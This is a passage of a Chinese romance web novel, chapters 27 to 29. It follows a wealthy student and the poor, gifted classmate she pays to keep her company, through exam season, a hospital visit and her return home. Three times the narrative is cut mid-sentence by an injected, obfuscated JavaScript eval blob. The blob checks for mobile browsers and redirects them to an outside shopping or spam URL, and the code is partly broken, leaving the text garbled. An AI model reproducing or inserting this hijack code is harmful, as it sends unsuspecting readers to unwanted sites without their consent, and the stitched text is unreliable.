程霏霏挑出一张最满意的,转向江羽,却发现他擎着一支笔,已经在草稿纸上写了大半页。 程霏霏伸长脖子去看,纸上全是密密麻麻的数学公式,鬼画符一般,啥也看不懂。 她忍不住问:“这是什么?” “线性回归分析。” 程霏霏的舌头差点打结:“……线什么分什么?” 江羽停下笔,想了想,尽量简单地解释道:“回归分析是统计学的一种方法,常用来研究变量之间的关系,以及关系的具体形式。比如说,事物之间的因和果。” “是吗?”程霏霏还是听不太懂,不过,看着他认真的样子,忽然就起了几分玩心。 她胡搅蛮缠地追问:“什么关系都可以分析吗?那你用公式算一算,我们两个之间,是什么样的因果啊?” 她笑吟吟地倾身向前:“谁是因,谁又是果呢?” 随着她的动作,咖啡的焦香伴着少女的清甜扑面而来。 她离得那样近,江羽只能看到大片阳光落在她的身后,给亚麻色的发顶镀上一层温柔的细边。 他知道她在逗他,饶是如此,那天籁般的嗓音依旧像一把细细的勾子,撩拨着江羽的心弦,令他无从思考,根本按捺不住心底真实的声音。 他缓缓抬眸,凝视着她坏笑的唇角,喃喃地答非所问。 直到很多年以后,程霏霏依然记得江羽当时脱口而出的回答—— “只要结果足够好,因是什么,我不在乎。你和我,不必讲究这些。” 27. 27 直到黑夜蚕食掉银丝状的天际线,程霏霏才从课本里抬起头,抹了一把下巴上的口水。 她打着呵欠,拿纸巾擦拭书面。自己睡了个好觉,专业书却惨遭蹂躏。 活动间,书的夹层里掉出一张新鲜的草稿纸。纸张飘飘摇摇,跌落在地,露出条分缕析的知识点大纲。 程霏霏波澜不惊地捡起,重新塞回书中。 和江羽一起上自习,好处倒是蛮多。下午的时候,她瘪着嘴抱怨记不住,江羽拿过她的专业书翻了一遍,就帮她把核心内容提炼得七七八八。 他合上书本,将大纲图推到程霏霏面前,顺带布置了一项作业—— “你试试看,不看书,只凭记忆将这份纲要补全。等到实在想不起来的时候,再对照着书查漏补缺。” 程霏霏心中纳闷得很,不过,反正也没有其他事可做,便按照他说的,吭哧吭哧地往上面填内容。 这件事并不容易,需要绞尽脑汁地回想。程霏霏做了一会儿就有点烦,又不安分地撩拨着江羽说话。 “你们学霸班前两年不分专业的吧?那你以后想做什么?” 江羽低着头,还在继续他没完成的那道题目。闻言,笔尖戳了戳草稿纸:“就这个吧。” 程霏霏的下颌枕在他的胳膊上,微微皱眉:“数学啊?” 江羽失笑:“怎么还有点嫌弃?” 他停了笔,耐心解释道:“数学有很多分支学科,无论以后做什么,都是很好的基础。比如说,数据挖掘、分析和计算,用处就很广泛,计算机,金融,医疗,很多行业都能用得到。” “真厉害。”程霏霏真心实意地感叹,“但是也真无聊。” 江羽莞尔:“无聊,但是能赚钱。” 很好,程霏霏想,干什么都向钱看,怪不得会把自己卖给我。 只不过,拓知实验班的老学究们如果知道自己精挑细选出来的科研苗子一心只想去搞钱,大概会气得呕血。 她压低声音:“你进拓知,该不会……就是因为那点奖学金吧?” 江羽非常诚实地点了点头。 “什么啊!”程霏霏没想到自己竟然真猜对了,笑得东倒西歪,“你难道不是应该说,拓知一直是你的理想殿堂,你高中三年都在为之奋斗,巴拉巴拉的。” “理想殿堂?拓知可算不上。”江羽被她的笑意感染,眉梢轻抬,眸光狡黠地流转,“那样说的话,应该是剑桥三——” “三什么?”程霏霏目不转睛地瞧他。 江羽顿住话头:“……没什么。” 他撇开目光,迎着程霏霏窥探的视线,拿过那份填了一半的提纲,开始检查。 程霏霏“嘁”了一声,调侃道:“好啦,换个问题——抛开赚钱不谈,江羽小朋友,你喜欢什么啊?” 江羽的视线微顿,由纸面上轻扫过来,像一把小刷子,落在她的脸颊上。 仿佛在挠痒痒,程霏霏感到一阵脸红耳热。 这种体验非常新奇,和江羽在一起的时候,她时常会莫名觉得身上热烘烘。这种感觉令她有一点点不自在,但并不讨厌。 “程霏霏,你对我很好奇?”江羽的音色极清澈,和那双浅色的眸子一样澄明。 听这声音唤出自己的名字,程霏霏都会觉得脸颊滚烫。 这是什么毛病? 好在,她还没来得及应付这个问题,常泰就来捉人了。说今天店里缺人,江羽既然在,就早点过来搭把手。 程霏霏眼见江羽苦着脸,被常泰笑眯眯地推进了员工更衣室,不一会儿,就换好了鹿客的工作服出来。 白衬衫,小领结,配着裁剪合身的黑色西装马甲,胸前别了一枚露尖角的口袋巾,整个人说不出的清俊帅气。 程霏霏登徒子一样,冲对方吹了个极不正经的口哨,笑吟吟地欣赏着。 脑子里又冒出了刚刚的对话。 她拿出手机,在搜索栏里输入【剑桥大学,三】几个字眼。 “三,一,学,院?”程霏霏读着网页上的内容,惊讶地眨眨眼,“真的假的?” 前方,提前上岗的江羽正在用餐区进进出出,招呼客人们入座、点餐,推荐当日的特色菜品,满足顾客的各种需求。 程霏霏瞧着那道忙碌的身影,托着下巴沉思——是她太没见识了吗?如今,连交不起学费的穷学生,都敢肖想世界顶级学府的顶级学院了? 越想越觉得捉摸不透,程霏霏趴在桌子上,懒得再动脑筋,迷迷糊糊就睡了过去。 一觉醒来的时候,店里已经进入了用餐高峰期。 她左右打量了一会儿,没看到江羽的人影。也不在意,收拾好东西,留下一张简单的字条,便优哉游哉地离开了鹿客。 她程霏霏可没有什么等人下班的自觉,今天和小帅哥的消遣已经足够。 傍晚的校园很热闹,程霏霏一路上都在盘算,时间还早,是约人吃个饭,还是去学校外面逛个街呢? 想着想着,又瞅了眼怀里的课本—— 这份大纲还没有填完呢。 毕竟是某个人辛苦列出来的,自己多多少少,应该尊重一下别人的劳动成果吧? 程霏霏悻悻地吁了一口气,抬脚往宿舍楼走去。 * 回到寝室的时候,程霏霏惊喜地发现,黎玥回来了。 她拍了拍对方的床板:“这趟回家,感觉怎么样?” 黎玥疲倦地趴在床上,打招呼的力气都没了:“别提了,每次回家都被榨干,这次真是一滴也没有了!” 一周前,黎玥架不住母亲的催促,专门请了假,回老家参加小侄子的百日宴。 说是百日宴,倒是吃出了几分鸿门宴的味道。黎玥不仅掏出了这学期攒下的全部家底,还以程霏霏和任可心的名义又包了两个红包,她妈才算消停,没有当场给女儿的朋友们致电,邀请人家来吃饭。 饭桌上,她妈戴着的正是程霏霏送的那条羊绒围巾,逢人就邀请对方上手来摸。 “看看这高级料子,可是玥玥在江城的大商场里给我买的!我嫌贵不让买,她非要买下来送我,你说这孩子,不听劝!” 黎玥在旁边安静地低头扒饭。 那天晚上,程霏霏从商场血拼回来,塞给她这个装着围巾的购物袋。等收拾行李的时候,黎玥才发现袋子里还有一张字条—— 【别空手回去,这是给阿姨准备的,就说是你送的。】 …… 黎玥的思绪戛然而止,在床上翻了个身,心想,这样下去可不行。 她决定,等考试结束以后,就再找一份工,寒假也留在江城,等到年根再回去。 一步一步,慢慢地离开家,直到她可以完全独立为止。 黎玥正静静地想着心事,忽然,床尾的梯子上伸出一根手臂。程霏霏伸手挠了挠她的小腿:“别出神了,走,吃饭去!” 半小时后,三个姑娘坐在街边热闹的米粉店里,边嗦粉边聊天。 任可心嚼着满嘴豆皮,冲黎玥比划:“你不在的这些日子,霏霏干了一桩大事!” 黎玥笑:“不就是包养了个帅哥呗?你都在群里吆喝好几遍了。” 任可心笑得像个猥琐大叔:“你是不知道有多帅!照片看不看?” 黎玥敬谢不敏:“婉拒了哈,我对这种事可不感兴趣。” 而程霏霏搅着碗里的米粉,忽然问黎玥:“你高三的时候,目标学校是哪所?” 黎玥想了想:“随便帝都的哪个学校吧。” 任可心惊讶道:“这么巧,霏霏也是诶!” “嗯——”黎玥捧着碗小口喝汤,语气波澜不惊,“我想离家远点,越远越好。但架不住我妈背着我偷偷改了志愿,于是就来了这里。” “……” 任可心满脑袋黑线,酸溜溜地说:“敢情只有我的目标是江大呗?我说,咱们学校也不差啊,为什么被你俩如此嫌弃!” 黎玥往她嘴里塞了一只鱼丸,心想,来到江大或许是她人生中为数不多的好事之一。 她看向程霏霏,却发现她蹙着眉,似乎在琢磨什么心事。 黎玥伸手,在她耳边敲了个响指:“马上期末了,我先说了,这回谁也不许挂科,挂科就绝交,我认真的!” 果不其然,接下来的日子,黎玥每天晨起的时候都顺带把程霏霏一道拉起来,监督她刷牙洗脸,出门学习。 而程霏霏每每嚷着要去找她的小帅哥一起复习,黎玥阻拦不过,也随她去了。 * 程霏霏开始了跟随江羽学习的日子,当然,不见得以一起自习的形式。 江羽很忙,程霏霏一开始还想抓住他的空闲时间约会,可后来发现,他压根没有什么空闲时间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14091459|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是在上课,就是在打工。 她怀疑,自己真是做了一笔亏本买卖。 可白纸黑字的约定都立了,程霏霏只能想尽各种办法,应蹭尽蹭。 蹭的方式多种多样,有一回,还跟着江羽一起去上课。 拓知的学生对于班上骤然出现的漂亮姑娘表现出了很有限的诧异,并没有引发什么大规模围观。程霏霏不得不感慨,不愧是学霸们,连好奇心都如此自律。 她硬着头皮听了两回课,实在扛不住天书一般的内容,干脆趴在桌上睡觉,甚至还做了个梦。因为叨叨了几句梦话,居然被老师揪了起来。自那次社死之后,程霏霏死活都不愿去蹭课了,改为蹲守江羽打工的时间。 江羽在鹿客,她便抱着复习资料坐在鹿客,边学习边陪着他工作。 江羽在奶茶店,她便转移到奶茶店,一天喝三杯芋泥香乳茶,喝得自己失眠,大晚上睁眼到凌晨。 她睡不着,江羽也甭想睡。她打电话将他吵醒,把一切责任都推到他身上,勒令他陪自己熬夜。 而江羽为了哄她入睡,有时候会唱歌给她听。 程霏霏很喜欢听江羽唱歌,他的声线和他的人一样,清澈,湿润,带着雨后特有的水汽,总是让她的心湿漉漉的一片。 外面寒风呼啸,程霏霏蜷在被窝里,听着话筒里的声音,觉得自己好像正站在疏阔静谧的江面上。 柔软的水雾抚着她的头发,层层青山在眼前峰回路转。 帷天席地的广袤,一望无垠的自由,让人无思无虑,唯有灵魂融化在风中。 再一睁眼,便是天明。 看一眼通话纪录,江羽在她睡着之后又陪了她很久,才挂断了电话。 程霏霏知道这样不对,江羽白天那么忙,晚上还被她闹腾得不得休息,可她就是忍不住。 她就是想跟他说话,抢夺他的时间和注意力。 程霏霏有时候也惊诧,自己并不是黏人的性子,在认识江羽以后,却越来越小女儿脾气,短短的时日里,竟然养出了这样刁钻的占有欲。 都是江羽的错。 他那么听话,什么都依着她,无论何时都充满了耐心……程霏霏觉得羞赧,她想到了“宠溺”这个词。 意识到江羽的纵容,她便更加肆无忌惮起来,变着花样地讨要更多。 就这样黏黏糊糊地度过了考试季。 在此期间,她成功完成了江羽布置的功课,把专业书上的内容整理得条理分明。 实在记不住的,也只能咬牙翻课本。反复几次之后,程霏霏惊讶地发现,那些被她抱怨看几遍都入不了脑的琐碎,竟然整齐划一地排列在了她的脑子里。 每当想到一个知识点,还会拔出萝卜带出泥,和其相关的各种来龙去脉便会一一浮现,令她回忆得停不下来。 程霏霏从没觉得自己如此聪明过。 她惊喜地和黎玥分享了这一神奇的现象,黎玥也很诧异,看来,那个捞男也不只是个贪财好利的,还挺会学习。 罢了,只要能给程霏霏带来些好的影响,她也就放心了。 最后一门考试那天,三个人的聊天群里一早就被“逢考必过”表情包刷屏。 程霏霏放话,为庆祝考试结束,晚上她请客唱K,立刻得到了任可心的热情响应。 不过,有些惊喜来得猝不及防。 当程霏霏奋笔疾书地答完最后一张卷子,志得意满地跨出考场时,看到江羽正安静地站在教学楼外的香樟树下。 此处是艺术生的地界,好看的男男女女络绎不绝。即便如此,江羽那出尘的样貌,还是令他鹤立鸡群一般,吸引了众多异性打量的视线。 程霏霏几乎是惊喜地叫出声,蹦蹦跳跳地跑过去:“你怎么来了?” 江羽绽放出一个好看到晃眼的笑,顺势牵过她的手:“最后一门考得怎么样?” “好得很!”程霏霏傲娇地比了个胜利的手势,“你要给我庆祝吗?” 江羽抬了抬眉,一脸“这还用说”的神情。程霏霏开心地挽上他的胳膊,一转身,任可心和黎玥站在不远处,似乎已经等了很久。 任可心环着手臂,被恋爱的酸臭味熏得牙疼:“得,某个人惯会见色忘友,今天的K怕是唱不成了。” 而黎玥惊怔地望着前方亲密无间的两个人,仿佛僵在了原地,好半天都没有说话。 28. 28 深冬的天气阴晴不定,上午还暖烘烘的太阳,转眼就蒙上了一层淡灰色的雾气。 可再差的天气,也动摇不了考试结束后放肆玩耍的心。 程霏霏的心情舒畅得如同即将起飞的雏鸟,急于冲进假期的高空展翅翱翔。 她和江羽手牵着手,一路喋喋不休地讲述自己在卷面上的精彩表现——虽然到不了拿奖学金的程度,但学渣如她,安全上岸应该问题不大。 转眼间,两人已经走到了江大正门的位置。 江大百年名校,校门沿用了最古老的石坊设计,满溢着书香古韵,在川流不息的主干道边自成一景。 很多学生已经按捺不住离校的心,考完试就提着箱子即刻跑路。 此刻,街边停满了揽客的出租车,很是热闹。 程霏霏看到这个景象,问江羽:“你寒假做什么?” 江羽想了想,正要回答,程霏霏手指一晃,已经替他抢先答了:“打工,打一寒假,对吧?” 江羽翘着唇角,无奈地耸了耸肩,玩笑道:“没办法,人穷假期短啊。” “那春节呢?你会回家吗?” 江羽坚决地摇头:“我打算留在学校过年。” “学校里还能过年?”程霏霏觉得很新鲜。 “当然。”江羽想到什么,眼睛里带着笑,“听裴一舟说,学生会要组织留校的学生一起吃年夜饭,还发年货。他是本地人,估计会被抓壮丁,到时候,或许还要端着饺子给我拜年呢。” “噗——”程霏霏想象了一下那个场景,觉得又土又滑稽,“他一个南方人,煮的饺子能吃?” 大过年的,周围的饭店都要关门,哪有什么好吃的啊?程霏霏凝视着江羽清瘦的侧颜,忽然冒出一个想法。 她有些羞涩地拉了拉他的袖子:“那个,要不然,你……” “——江羽哥!” 程霏霏吓了一跳,扭头看去,只见校门口的石墩子旁站了一个小姑娘,正在朝江羽招手。 小姑娘十几岁的模样,梳着两条细细的麻花辫,穿着一眼就看得出价格的地摊货外套,小脸给冷风吹得通红,显然已经等了很长时间。 她面色焦急,眼眶里似乎有泪水在打转。 江羽顿了几秒才认出人,惊讶地问:“你怎么来了?” 来人是冯惠珍的女儿,小禾。 小禾朝这边跑来,还踉跄了一下,整个人仿佛要被江风刮倒。 江羽赶紧上前扶住她的胳膊。 小禾开始呜咽:“江羽哥,我妈生病了,病得很重。县里的医院说看不了,让来城里,我就陪着她一道来了。可是还没进医院呢,今中午,她突然就起不来床了……我也不知道该怎么办,人生地不熟的,就想着来这里碰碰运气,等了一下午,竟然真遇着你了……” 江羽皱了皱眉:“你爸呢?” “我爸……”小禾嘴一瘪,更多眼泪涌了出来,“我爸和我妈大吵一架,把店也砸了,人已经消失好几天了,我也不知道他在哪……” “我知道了,你先别着急。”江羽看着急得直哭的小姑娘,无奈道:“我先跟你去你们住的地方,尽快送冯姨去医院才行。” 他转头看向程霏霏,正欲和她解释,今天恐怕没办法陪她庆祝了。 却见她已经跑到校门外,锁定了一辆等客的出租车。 程霏霏拉开车门,冲远处的二人挥了挥手:“上车啊,还等什么?” * 十几分钟后,三人就来到了冯惠珍母女落脚的地方。 冯惠珍和女儿住在离江大不远的一栋廉价民宿里,说是民宿,其实就是老式筒子楼里隔出来的简陋出租屋。 程霏霏头一次知道学校周围还有这种地方,其糟糕的环境令她连连咋舌。 冯惠珍发着高烧,已经昏迷不醒。他们一起把她送到了距离最近的江城大学附属医院。 经过检查,发现是并发症引起的高热,医生建议尽快做手术。 可是临近年根,医院的床位十分紧俏,外科手术又需要排期。医生便安排冯惠珍先在病房打点滴消炎,暂时稳定住病情,等几天后再进行手术。 现下,冯惠珍已经转醒过来,小禾哭得不成样子,抱着她不肯撒手。 冯惠珍有气无力地拍了拍女儿的背,安慰了一番,也抹起了眼泪。程霏霏见状,从包里掏出一包纸巾,递了过去。 冯惠珍这才留意到,病房里还有一位年轻姑娘,连忙看向了江羽:“小羽啊,这位是?” 程霏霏感觉到,江羽似乎有一秒钟的犹豫。 他稍一停顿:“冯姨,这位是程霏霏,是我在江大的……同学。” 同?学? 程霏霏像是被这个荒唐的词汇冒犯到了,瞬间蹙起了一个极不爽快的眉头。 小禾擦了擦眼泪,声音怯怯的:“今天幸亏有这位小姐姐帮忙,小姐姐,谢谢你!” 程霏霏心想,我可没帮你什么,顶多付了个出租车费而已。 她敷衍地一撇嘴角,算是回应。 冯惠珍见状,也赶紧对程霏霏道谢:“原来是小羽的同学啊,真是麻烦你了!唉,我这年纪大了,身体出了毛病,连累孩子们为我操心,还叨扰到小羽周围的人。” 她立刻对江羽说:“记得请你同学吃个饭,谢谢人家。” 江羽并没有接茬,只是说:“冯姨,您保重身体,其他的事情都不要操心。” 他看向小禾:“你跟我去医生那里,了解一下后续手术的注意事项。” * 江羽带小禾去了医生办公室,剩下程霏霏在病房里面对着床上的冯惠珍。 程霏霏百无聊赖地刷了会儿手机,一抬头,发现冯惠珍正在看自己。 冯惠珍虚弱地笑笑,问:“姑娘,你是小羽的同班同学吗?” ——嘁,谁是他同学。 程霏霏收起手机,悻悻地想,我可是他的金主姐姐! 冯惠珍的目光在程霏霏的衣饰和挎包上停顿了片刻,拖着调子,叹了口长气。 “小羽这孩子,这些年吃了很多苦。当初如果不是我多嘴,他也不至于会变成现在这个样子。” “嗯?”程霏霏听到这话,终于起了几分谈兴,“您怎么这么说?” 冯惠珍望着医院惨白的天花板,眼神里滚动着莫名的情绪。 “小羽还在襁褓里的时候,被人放在了孤儿院门口。他从小在院里长大,可惜一直都不会说话,我们都以为他是个哑巴。来领养的没人会想要个哑巴孩子,所以,别的小孩被隔三差五地领走,只有他,虽然长得最漂亮出挑,却一直在院里待到五岁。” 程霏霏早就知道江羽是个孤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099880|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿,可再次听到的时候,还是觉得心口一阵酸疼。 “后来呢?”她喃喃地问。 “后来……他五岁那年,遇到了他的养母。那是个厉害的女人,竟然不介意这孩子不会说话,提出要领养他。” 冯惠珍叹了口气:“我们都觉得,帝都太远了,舍不得他走。只有父亲说,孩子越大,越不容易被领养。既然他好不容易遇到了有缘人,孤儿院就应该放手。” 程霏霏很是惊讶:“江羽被……被领养去了帝都?” 冯惠珍点点头:“连江羽这个名字,也是他养父母给取的。两口子把孩子带走以后,就再也没让回来过。唉,捂得这么紧,到头来,还不是说不要,就不要……” 程霏霏心头发涩:“他们……为什么不要他了?” “都是我的错。”说到这里,冯惠珍明显有些激动,“江羽的亲爹找来的时候,我没有忍住,让他知晓了这孩子的去向。那人是个机灵的,顺藤摸瓜,竟然找去了帝都,再回来的时候,就带回了江羽。” 冯惠珍叹了口气:“不怕你笑话,他带小羽回来以后,还莫名多了一大笔钱。大家都以为他在外面做了大生意,听信他的话,一个个的都跟着投资,结果钱全打了水漂。他就被关进了牢里,倒是苦了小羽,大伙都找上他,要他还钱。唉,这孩子,真是命苦。” 程霏霏静静地听完,没想到,江羽的人生竟然如此起伏。 不过…… 看着冯惠珍苍白微青的脸,程霏霏的心中泛起浓浓的疑虑。她沉吟了几秒,还是没有忍住,直截了当地问了出来:“阿姨,我只是江羽的同学而已,您为什么会对我说这些?” 冯惠珍被那双清亮的眸子盯得愣住,一时间,话也卡了壳。 “哎呦喂,瞧我,老毛病又犯了,看到眼缘好的姑娘就忍不住亲近。你是小羽的朋友嘛,我也没把你当外人,和你多念叨了几句,你可别放在心上!” 程霏霏笑笑,也不戳破。 她干脆站起身,道:“时间不早了,我该回学校了,您好好休息。” 说着,转身就要往外走。手掌抚上门把的时候,冯惠珍忽然叫住了她。 她听上去有些苦口婆心:“小姑娘,阿姨看你条件挺好的,想劝劝你,找对象啊一定要门当户对,以后的日子才能过得舒心。” 程霏霏静立了片刻,没搭腔,也没有回头,打开门便径直出了病房。 她在走廊上转了转,想找到医生办公室的位置。 路过转角的时候,程霏霏余光一瞥,看到江羽和那个叫小禾的女孩正站在走廊尽头说话。 傍晚的余晖从窗户里倾泻进来,洒在江羽的头发上,描摹出他立体的侧脸轮廓,也淡化了他隐含忧虑的眼眸。 程霏霏看到他抬起手,缓缓地拍了拍小禾的背。 而小禾正伏在他的怀中,哭得泪如雨下。 大概是从医生那儿听到了什么不好的消息吧,程霏霏想。 这一刻,她忽然就明白了冯惠珍在病房里对她说出那番话的用意。 程霏霏看着夕阳下两个相拥的身影,脑海里掠过一阵荒诞的嘲讽。心头一会儿像着了火,一会儿又像浸了冰。 面上却只是轻蔑地一笑:“真是可怜天下父母心啊。” 挎包往肩上一甩,少女头也不回地离开了医院。 29. 29 程霏霏怀着一麻袋心事,乘着夜色回到了学校。 寝室里一个人也没有,看来任可心和黎玥已经撇下她,单独玩耍去了。 她脱力地倒在自己的专属大软椅里,蹬掉脚上的小羊皮靴,揉了揉纤细的脚踝。 脑袋里闪过诸多画面,一会儿是江羽嘴里的那句“普通同学”,一会儿又是走廊上抱在一起的两个人。 程霏霏烦躁地将一头秀发揉得乱七八糟。 从包里翻出手机,上面是江羽的两个未接来电,还有一条微信—— 【霏霏,冯姨说你先回学校了?】 程霏霏噘了噘嘴,心里骂了一声。 她点开江羽的微信头像,盯着画面中央的那条小船。 她一直搞不明白,怎么有人会用一条破船当头像,如今却有些醍醐灌顶:“小禾,小河……船不就是漂在河上的吗!” 真是一对好名字! 程霏霏“啪”一声把手机摔在桌面上。 这时,宿舍的门忽然被人一脚踹开了。程霏霏拧眉,正要看看是哪个不长眼的,只见任可心骂骂咧咧地扶着黎玥走了进来。 “——霏霏,快来帮忙!” 程霏霏吓了一跳,赶紧上前去,搀住黎玥的胳膊,扶着她在凳子上坐下。 黎玥似乎喝了很多,醉得直翻白眼,看到程霏霏的时候,双眼依然没什么焦距。 “你俩这是干什么去了?” “别提了!”任可心把脖子上的挎包扯下来,给自己倒了一杯温水,咕咚咕咚仰头灌下。 “黎玥也不知道发什么疯,你走了之后,她忽然提出想喝点小酒。我心说那就去酒吧呗,就带着黎玥去了咱们常去的那家。结果——那是喝点小酒吗,那是在对瓶吹呀!我头一次见黎玥这么勇的。” 任可心狠狠喘着气,这才注意到,程霏霏竟然早早就回来了。 “你怎么这么早回来?不是和江羽约会去了?” “江羽——”酒醉的黎玥仿佛捕捉到了什么关键词,大叫着跳起来。 程霏霏赶紧上前摁住她。 黎玥睁着朦胧的醉眼,揪住程霏霏的领口,大着舌头问:“江羽……你……你喜欢江羽吗……喜欢吗……” “我喜欢个锤子!”程霏霏使劲夹住好友的胳膊,防止她滑下去,“我和他就是纯洁的金钱关系!我花钱,他服务,谈什么感情,多俗!” 程霏霏不知道在对谁放狠话,表情看着甚至有点狰狞。 黎玥呆了一瞬,像是在努力消化这句话里的信息。 下一秒,她皱着小脸,忽然大力将程霏霏往外一推—— 程霏霏猝不及防,被推得一个趔趄,连连后退。后腰猛地撞到了桌沿上,疼得她忍不住倒吸一口凉气。 “程霏霏!” 黎玥站在屋子中央,指着她的鼻子,声如洪钟地怒吼:“你怎么能……怎么能以钱压人!” 这句咆哮气势雄浑,震得在场的另外两个人齐齐愣住。 程霏霏扶着后腰,丈二和尚摸不着头脑,茫然地看向任可心:“她在说什么啊?我不是每天都在以钱压人吗?” 任可心啧啧摇头:“果然是喝醉了,都开始说胡话了!” 两个人一起联手,把烂醉如泥的黎玥按在了床上。 程霏霏拍着任可心的肩,任重道远地嘱咐:“今晚你就留下来照顾她吧,以防醉鬼半夜掉进厕所里。” “那你呢?” 程霏霏捏了捏眉心,语气有些疲惫:“我想回家了。” * 程霏霏也没料到,自己竟然成了最早归家的那批学生之一。 虽然她原本的计划…… 不提也罢。 她拖着箱子出现在家门口的时候,客厅的音响播放着九零年代金曲合集,她妈罗女士靠在厨房的吧台边,正在吃晚餐。 罗美琼人如其名,长了一张珠圆玉润的脸。虽然人到中年,身材有些走样,但一丝不苟的精神气和永远精致的妆发让人不难看出,她年轻的时候,也是十里八乡一等一的美人。 美人不仅样貌好,做生意也是一把好手,家里的KTV给经营得有声有色,比程广材当家时还要风光。日子久了,同行间都要客气地尊称她一句“琼姐”。 看到女儿回来,罗美琼惊喜地叫了一声:“哎呦我的宝贝儿!这么早就放假啦?也不说一声,让皓南去接你咧。” “妈,怎么一个人吃饭啊?”程霏霏瞅了眼餐桌,看到简单的餐食和空了半瓶的红酒,揶揄一笑,“我哥呢?” “你爸有事,把他叫走了。” 罗美琼回身从橱柜里拿出一只碗,盛上热腾腾的香菇鸡肉粥。 “阿姨前阵子不舒服,我就打发她回去多歇几天。家里没什么活,我自个儿也做得来。” 程霏霏上前搂住她的肩:“怎么不叫我早点回来陪你?” “你要考试的嘛,我又不是小孩子,还要人陪。”罗美琼哈哈笑着,亲切地拍了拍女儿的胳膊,示意她去洗手吃饭。 等程霏霏从洗手间出来,饭菜已经从吧台移到了餐桌,那半瓶红酒也消失不见了。 程霏霏偷偷一笑,权当没看见,拿起勺子,开始喝粥。 一边喝一边夸:“论煲粥啊,我妈的手艺全世界最好!” 罗美琼笑着睨她:“这话可别当着阿姨的面说。” 程霏霏吐了吐舌头,伴着小菜,又添了一碗。罗美琼工作忙,平时没有太多时间亲自下厨,程霏霏逮到机会,自然要多吃几口。 母女俩有说有笑地吃完饭,程霏霏提着自己的箱子上了二楼。 站在楼梯的拐角,可以一眼看到厨房的位置。偌大的洗手台前,罗美琼正背对着她洗碗,嘴里哼着曲,水流声哗啦哗啦的,竟也盖不过她口中的调子。 家里的洗碗机只有阿姨在时才会用,罗美琼总是喜欢手洗。 程霏霏想起很小的时候,他们一家和大伯爷爷他们挤在乡下的房子里。罗美琼每天把她背在身上,在院子里打冰冷的井水洗衣做饭。那个时候,她也爱哼同样的歌。 后来,她开始在商海里沉浮,与程广材经常因为经营理念不合而高声争吵。 程霏霏已经很久没听到过妈妈唱歌了。 如今,她一个人的时候,竟然又哼起了这首老歌。 人的习惯真的很难改变,还动不动就要固执地贯穿一生。 程霏霏想,要是人的情感也能永恒不变,就好了。 * 程霏霏回到自己的卧室,将箱子推进衣帽间。 环顾四周,一切还像她夏天离开时一样。阿姨打扫得很仔细,连个物件也没有挪动过。 唯有一样—— 程皓南把小提琴送回来的时候,竟然就这么大喇喇地丢在了地板上。 程霏霏皱了皱眉,上前拎了起来。 她抚着琴盒,自嘲一笑。 几个月前,她还在为一个男人辛苦地练习,妄图赢得他的真心。这种把所有情感投注在一个人身上的傻事,今后千万不要再做——对谁都不行! 程霏霏不知想到了什么,忿忿地扯了扯琴盒的带子。盒身一歪,边上的夹层里掉出几张纸。 定睛一看,是当初日日苦练的那支曲谱。 曲谱已经搓弄得不成样子,布满了歪歪扭扭的折痕,如同时光的印记,刻录下那些日子以来所有的努力。 程霏霏将曲谱放在桌上铺开,用手掌使劲压了压;翻过面,正要重复同样的动作,唇边的笑意却忽然凝住—— 若说几个月前,她或许还难以分辨一个人的字迹;可是后来,跟着江羽形影不离地上了那么久的自习,闲来无事的时候,还把他所有的教材和笔记翻来覆去地蹂躏了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115513|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个遍,要么在上面即兴涂鸦,要么把自己的名字和他的写在一起…… 江羽的字什么模样,没有人比她更清楚。 程霏霏的心里闪过一个诡异的念头——江羽或许很早就认出了她。 说不定,他还知道她更多事,包括她曾经为李泽昱那样的烂人犯过哪些傻,出过哪些糗。 “啊啊啊啊啊啊啊啊啊——” 程霏霏脑内一阵天旋地转,大叫着跳起来,紧紧抱住自己的头。 心底涌起无地自容的尴尬,程霏霏从来没有想过,她追人的黑历史,有一天竟然会被江羽知道。 程霏霏站起来,在房间里来回走动,两只手冲着爆红的脸颊飞速扇风。 对,全世界都知道她喜欢过李泽昱,这不是秘密。可是江羽不能知道,只有他不行! 至于为什么他不行,程霏霏不愿细想。 将脸埋进手心使劲搓了搓,依然搓不去那股灭顶般的社死之感。程霏霏干脆一头拱进了被子里,撅着屁股,像个逃避现实的鸵鸟。 时间一分一秒地过去,灭顶的尴尬如退潮的海浪般缓缓平息,心底转而升起了羞愤的恼意。 程霏霏一把掀开被子:“好你个江羽,偷偷躲在暗处,看我出尽洋相,很好玩是吧!” 她跳下床,“啪”地抓起桌上的曲谱,团成一团,狠狠丢了出去。 “呜呜呜你欺负我,你居然这样欺负我,江羽,我讨厌你——” 